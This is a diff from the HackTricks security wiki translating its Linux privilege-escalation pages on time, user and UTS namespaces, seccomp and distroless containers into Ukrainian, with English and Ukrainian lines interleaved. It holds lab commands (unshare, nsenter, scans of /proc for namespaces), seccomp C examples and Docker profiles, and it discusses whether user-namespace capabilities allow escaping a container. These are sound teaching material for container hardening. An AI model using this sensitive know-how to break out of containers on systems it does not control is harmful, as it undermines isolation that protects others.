- Виконання `%unshare -fp /bin/bash%` забезпечує, що команда `unshare` сама стає PID 1 у новому просторі. `/bin/bash` та його дочірні процеси тоді безпечно містяться в цьому новому просторі, запобігаючи передчасному завершенню PID 1 та дозволяючи нормальне виділення PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Забезпечуючи, що `unshare` виконується з прапором `-f`, новий PID простір правильно підтримується, що дозволяє `/bin/bash` та його підпроцесам працювати без виникнення помилки виділення пам'яті.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Перевірте, в якому просторі імен знаходиться ваш процес
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
```
### Find all Time namespaces
### Знайти всі простори часу
```bash
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Time namespace
### Увійти в простір часу
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

84
src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
View File

@ -4,100 +4,85 @@
## Basic Information
A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically.
User namespace - це функція ядра Linux, яка **забезпечує ізоляцію відображень ідентифікаторів користувачів і груп**, дозволяючи кожному user namespace мати **свої власні набори ідентифікаторів користувачів і груп**. Ця ізоляція дозволяє процесам, що працюють у різних user namespaces, **мати різні привілеї та власність**, навіть якщо вони мають однакові числові ідентифікатори користувачів і груп.
User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system.
User namespaces особливо корисні в контейнеризації, де кожен контейнер повинен мати свій незалежний набір ідентифікаторів користувачів і груп, що дозволяє покращити безпеку та ізоляцію між контейнерами та хост-системою.
### How it works:
1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**.
2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace.
3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**.
4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace.
1. Коли створюється новий user namespace, він **починається з порожнього набору відображень ідентифікаторів користувачів і груп**. Це означає, що будь-який процес, що працює в новому user namespace, **спочатку не матиме привілеїв поза межами namespace**.
2. Відображення ідентифікаторів можуть бути встановлені між ідентифікаторами користувачів і груп у новому namespace та тими, що в батьківському (або хост) namespace. Це **дозволяє процесам у новому namespace мати привілеї та власність, що відповідають ідентифікаторам користувачів і груп у батьківському namespace**. Однак відображення ідентифікаторів можуть бути обмежені до конкретних діапазонів і підмножин ідентифікаторів, що дозволяє точно контролювати привілеї, надані процесам у новому namespace.
3. У межах user namespace **процеси можуть мати повні привілеї root (UID 0) для операцій всередині namespace**, при цьому маючи обмежені привілеї поза межами namespace. Це дозволяє **контейнерам працювати з можливостями, подібними до root, у своєму власному namespace без повних привілеїв root на хост-системі**.
4. Процеси можуть переміщатися між namespaces, використовуючи системний виклик `setns()`, або створювати нові namespaces, використовуючи системні виклики `unshare()` або `clone()` з прапором `CLONE_NEWUSER`. Коли процес переходить до нового namespace або створює його, він почне використовувати відображення ідентифікаторів користувачів і груп, пов'язані з цим namespace.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Монтування нової інстанції файлової системи `/proc`, якщо ви використовуєте параметр `--mount-proc`, забезпечує, що новий простір монтування має **точний та ізольований вигляд інформації про процеси, специфічної для цього простору**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Помилка: bash: fork: Не вдається виділити пам'ять</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Коли `unshare` виконується без параметра `-f`, виникає помилка через те, як Linux обробляє нові PID (ідентифікатори процесів) простори. Основні деталі та рішення наведені нижче:
1. **Problem Explanation**:
1. **Пояснення проблеми**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ядро Linux дозволяє процесу створювати нові простори за допомогою системного виклику `unshare`. Однак процес, який ініціює створення нового PID простору (називається "процесом unshare"), не входить до нового простору; лише його дочірні процеси входять.
- Виконання `%unshare -p /bin/bash%` запускає `/bin/bash` в тому ж процесі, що й `unshare`. Внаслідок цього `/bin/bash` та його дочірні процеси знаходяться в оригінальному PID просторі.
- Перший дочірній процес `/bin/bash` у новому просторі стає PID 1. Коли цей процес завершується, це викликає очищення простору, якщо немає інших процесів, оскільки PID 1 має особливу роль усиновлення сирітських процесів. Ядро Linux тоді вимкне виділення PID у цьому просторі.
2. **Consequence**:
2. **Наслідок**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Завершення PID 1 у новому просторі призводить до очищення прапора `PIDNS_HASH_ADDING`. Це призводить до того, що функція `alloc_pid` не може виділити новий PID при створенні нового процесу, що викликає помилку "Не вдається виділити пам'ять".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Рішення**:
- Проблему можна вирішити, використовуючи параметр `-f` з `unshare`. Цей параметр змушує `unshare` створити новий процес після створення нового PID простору.
- Виконання `%unshare -fp /bin/bash%` забезпечує, що команда `unshare` сама стає PID 1 у новому просторі. `/bin/bash` та його дочірні процеси тоді безпечно містяться в цьому новому просторі, запобігаючи передчасному завершенню PID 1 та дозволяючи нормальне виділення PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Забезпечуючи, що `unshare` виконується з прапором `-f`, новий PID простір правильно підтримується, що дозволяє `/bin/bash` та його підпроцесам працювати без виникнення помилки виділення пам'яті.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
Щоб використовувати простір імен користувача, демон Docker потрібно запустити з **`--userns-remap=default`** (в Ubuntu 14.04 це можна зробити, змінивши `/etc/default/docker`, а потім виконавши `sudo service docker restart`)
To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)
### &#x20;Check which namespace is your process in
### &#x20;Перевірте, в якому просторі імен знаходиться ваш процес
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
```
It's possible to check the user map from the docker container with:
Можна перевірити мапу користувачів з контейнера docker за допомогою:
```bash
cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
```
Or from the host with:
Або з хоста за допомогою:
```bash
cat /proc/<pid>/uid_map
```
### Find all User namespaces
### Знайти всі простори користувачів
```bash
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a User namespace
### Увійти в простір користувача
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
Також ви можете **входити в інший простір процесів лише якщо ви root**. І ви **не можете** **входити** в інший простір **без дескриптора**, що вказує на нього (наприклад, `/proc/self/ns/user`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`).
### Create new User namespace (with mappings)
### Створити новий простір користувача (з відображеннями)
```bash
unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
```
@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
### Відновлення можливостей
### Recovering Capabilities
У випадку з просторами користувачів, **коли створюється новий простір користувачів, процес, який входить у простір, отримує повний набір можливостей у цьому просторі**. Ці можливості дозволяють процесу виконувати привілейовані операції, такі як **монтування** **файлових систем**, створення пристроїв або зміна власності файлів, але **тільки в контексті його простору користувачів**.
In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**.
For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces.
Наприклад, коли у вас є можливість `CAP_SYS_ADMIN` у просторі користувачів, ви можете виконувати операції, які зазвичай вимагають цієї можливості, такі як монтування файлових систем, але тільки в контексті вашого простору користувачів. Будь-які операції, які ви виконуєте з цією можливістю, не вплинуть на хост-систему або інші простори.
> [!WARNING]
> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container.
> Тому, навіть якщо отримання нового процесу всередині нового простору користувачів **дасть вам всі можливості назад** (CapEff: 000001ffffffffff), ви насправді можете **використовувати лише ті, що пов'язані з простором** (монтування, наприклад), але не всі. Отже, цього самого по собі недостатньо, щоб втекти з контейнера Docker.
```bash
# There are the syscalls that are filtered after changing User namespace with:
unshare -UmCpf bash
@ -144,5 +127,4 @@ Probando: 0x139 . . . Error
Probando: 0x140 . . . Error
Probando: 0x141 . . . Error
```
{{#include ../../../../banners/hacktricks-training.md}}

50
src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
View File

@ -4,75 +4,65 @@
## Basic Information
A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname.
UTS (UNIX Time-Sharing System) простір імен є функцією ядра Linux, яка забезпечує **ізоляцію двох системних ідентифікаторів**: **ім'я хоста** та **ім'я домену NIS** (Служба інформації про мережу). Ця ізоляція дозволяє кожному UTS простору імен мати **своє власне незалежне ім'я хоста та ім'я домену NIS**, що особливо корисно в сценаріях контейнеризації, де кожен контейнер повинен з'являтися як окрема система зі своїм ім'ям хоста.
### How it works:
1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces.
2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace.
1. Коли новий UTS простір імен створюється, він починається з **копії імені хоста та імені домену NIS з його батьківського простору імен**. Це означає, що при створенні новий простір імен **ділить ті ж ідентифікатори, що й його батько**. Однак будь-які подальші зміни в імені хоста або імені домену NIS в межах простору імен не вплинуть на інші простори імен.
2. Процеси в межах UTS простору імен **можуть змінювати ім'я хоста та ім'я домену NIS** за допомогою системних викликів `sethostname()` та `setdomainname()`, відповідно. Ці зміни є локальними для простору імен і не впливають на інші простори імен або хост-систему.
3. Процеси можуть переміщатися між просторами імен за допомогою системного виклику `setns()` або створювати нові простори імен за допомогою системних викликів `unshare()` або `clone()` з прапором `CLONE_NEWUTS`. Коли процес переміщується до нового простору імен або створює його, він почне використовувати ім'я хоста та ім'я домену NIS, пов'язані з цим простором імен.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Монтування нової інстанції файлової системи `/proc`, якщо ви використовуєте параметр `--mount-proc`, забезпечує, що новий простір монтування має **точний та ізольований вигляд інформації про процеси, специфічної для цього простору**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Помилка: bash: fork: Не вдається виділити пам'ять</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Коли `unshare` виконується без параметра `-f`, виникає помилка через те, як Linux обробляє нові PID (ідентифікатори процесів) простори. Основні деталі та рішення наведені нижче:
1. **Problem Explanation**:
1. **Пояснення проблеми**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ядро Linux дозволяє процесу створювати нові простори за допомогою системного виклику `unshare`. Однак процес, який ініціює створення нового PID простору (називається "процесом unshare"), не входить до нового простору; лише його дочірні процеси входять.
- Виконання `%unshare -p /bin/bash%` запускає `/bin/bash` в тому ж процесі, що й `unshare`. Внаслідок цього `/bin/bash` та його дочірні процеси знаходяться в оригінальному PID просторі.
- Перший дочірній процес `/bin/bash` у новому просторі стає PID 1. Коли цей процес завершується, це викликає очищення простору, якщо немає інших процесів, оскільки PID 1 має особливу роль усиновлення сирітських процесів. Ядро Linux тоді вимкне виділення PID у цьому просторі.
2. **Consequence**:
2. **Наслідок**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Завершення PID 1 у новому просторі призводить до очищення прапора `PIDNS_HASH_ADDING`. Це призводить до того, що функція `alloc_pid` не може виділити новий PID при створенні нового процесу, що викликає помилку "Не вдається виділити пам'ять".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Рішення**:
- Проблему можна вирішити, використовуючи параметр `-f` з `unshare`. Цей параметр змушує `unshare` створити новий процес після створення нового PID простору.
- Виконання `%unshare -fp /bin/bash%` забезпечує, що команда `unshare` сама стає PID 1 у новому просторі. `/bin/bash` та його дочірні процеси тоді безпечно містяться в цьому новому просторі, запобігаючи передчасному завершенню PID 1 та дозволяючи нормальне виділення PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Забезпечуючи, що `unshare` виконується з прапором `-f`, новий PID простір правильно підтримується, що дозволяє `/bin/bash` та його підпроцесам працювати без виникнення помилки виділення пам'яті.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Перевірте, в якому просторі імен знаходиться ваш процес
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
```
### Find all UTS namespaces
### Знайти всі UTS простори імен
```bash
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an UTS namespace
### Увійти в UTS простір імен
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

156
src/linux-hardening/privilege-escalation/docker-security/seccomp.md
View File

@ -4,16 +4,15 @@
## Basic Information
**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them.
**Seccomp**, що означає Secure Computing mode, є функцією безпеки **ядра Linux, призначеною для фільтрації системних викликів**. Вона обмежує процеси до обмеженого набору системних викликів (`exit()`, `sigreturn()`, `read()`, і `write()` для вже відкритих дескрипторів файлів). Якщо процес намагається викликати щось інше, він завершується ядром за допомогою SIGKILL або SIGSYS. Цей механізм не віртуалізує ресурси, а ізолює процес від них.
There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`.
Існує два способи активувати seccomp: через системний виклик `prctl(2)` з `PR_SET_SECCOMP`, або для ядер Linux 3.17 і вище, системний виклик `seccomp(2)`. Старий метод увімкнення seccomp шляхом запису в `/proc/self/seccomp` був застарілий на користь `prctl()`.
An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux.
Покращення, **seccomp-bpf**, додає можливість фільтрувати системні виклики з налаштовуваною політикою, використовуючи правила Berkeley Packet Filter (BPF). Це розширення використовується програмним забезпеченням, таким як OpenSSH, vsftpd, і браузерами Chrome/Chromium на Chrome OS і Linux для гнучкого та ефективного фільтрування системних викликів, пропонуючи альтернативу тепер вже непідтримуваному systrace для Linux.
### **Original/Strict Mode**
In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL
У цьому режимі Seccomp **дозволяє лише системні виклики** `exit()`, `sigreturn()`, `read()` і `write()` для вже відкритих дескрипторів файлів. Якщо здійснюється будь-який інший системний виклик, процес завершується за допомогою SIGKILL.
```c:seccomp_strict.c
#include <fcntl.h>
#include <stdio.h>
@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read(
int main(int argc, char **argv)
{
int output = open("output.txt", O_WRONLY);
const char *val = "test";
int output = open("output.txt", O_WRONLY);
const char *val = "test";
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
printf("You will not see this message--the process will be killed first\n");
printf("You will not see this message--the process will be killed first\n");
}
```
### Seccomp-bpf
This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules.
Цей режим дозволяє **фільтрувати системні виклики за допомогою конфігурованої політики**, реалізованої за допомогою правил Berkeley Packet Filter.
```c:seccomp_bpf.c
#include <seccomp.h>
#include <unistd.h>
@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple
//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp
void main(void) {
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
}
```
## Seccomp в Docker
## Seccomp in Docker
**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
You can run a docker container with a **different seccomp** policy with:
**Seccomp-bpf** підтримується **Docker** для обмеження **syscalls** з контейнерів, ефективно зменшуючи площу атаки. Ви можете знайти **syscalls, які заблоковані** за **замовчуванням** в [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) і **профіль seccomp за замовчуванням** можна знайти тут [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
Ви можете запустити контейнер docker з **іншою політикою seccomp** за допомогою:
```bash
docker run --rm \
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
```
If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\
If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\
In the following example the **syscalls** of `uname` are discovered:
Якщо ви хочете, наприклад, **заборонити** контейнеру виконувати деякі **syscall**, такі як `uname`, ви можете завантажити профіль за замовчуванням з [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) і просто **видалити рядок `uname` зі списку**.\
Якщо ви хочете переконатися, що **якийсь бінарний файл не працює всередині контейнера docker**, ви можете використовувати strace, щоб перерахувати syscalls, які використовує бінарний файл, а потім заборонити їх.\
У наступному прикладі виявляються **syscalls** `uname`:
```bash
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
```
> [!NOTE]
> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs
> Якщо ви використовуєте **Docker лише для запуску програми**, ви можете **профілювати** її за допомогою **`strace`** і **дозволити лише ті системні виклики**, які їй потрібні
### Example Seccomp policy
### Приклад політики Seccomp
[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below.
[Приклад звідси](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
Щоб проілюструвати функцію Seccomp, давайте створимо профіль Seccomp, який відключає системний виклик “chmod”, як показано нижче.
```json
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
}
```
In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\
Following output shows the “chmod” call returning error because its disabled in the seccomp profile
У вищезгаданому профілі ми встановили дію за замовчуванням на "дозволити" та створили чорний список для відключення "chmod". Щоб бути більш безпечними, ми можемо встановити дію за замовчуванням на "скинути" та створити білий список для вибіркового увімкнення системних викликів.\
Наступний вихід показує, що виклик "chmod" повертає помилку, оскільки він відключений у профілі seccomp.
```bash
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
chmod: /etc/hosts: Operation not permitted
```
Following output shows the “docker inspect” displaying the profile:
Наступний вихід показує “docker inspect”, що відображає профіль:
```json
"SecurityOpt": [
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
```
{{#include ../../../banners/hacktricks-training.md}}

26
src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md
View File

@ -1,30 +1,30 @@
# Weaponizing Distroless
# Зброя Distroless
{{#include ../../../banners/hacktricks-training.md}}
## What is Distroless
## Що таке Distroless
A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components.
Контейнер distroless - це тип контейнера, який **містить лише необхідні залежності для запуску конкретного застосунку**, без будь-якого додаткового програмного забезпечення або інструментів, які не є необхідними. Ці контейнери розроблені, щоб бути **легкими** та **безпечними** наскільки це можливо, і вони прагнуть **мінімізувати поверхню атаки**, видаляючи будь-які непотрібні компоненти.
Distroless containers are often used in **production environments where security and reliability are paramount**.
Контейнери distroless часто використовуються в **виробничих середовищах, де безпека та надійність є найважливішими**.
Some **examples** of **distroless containers** are:
Деякі **приклади** **контейнерів distroless**:
- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
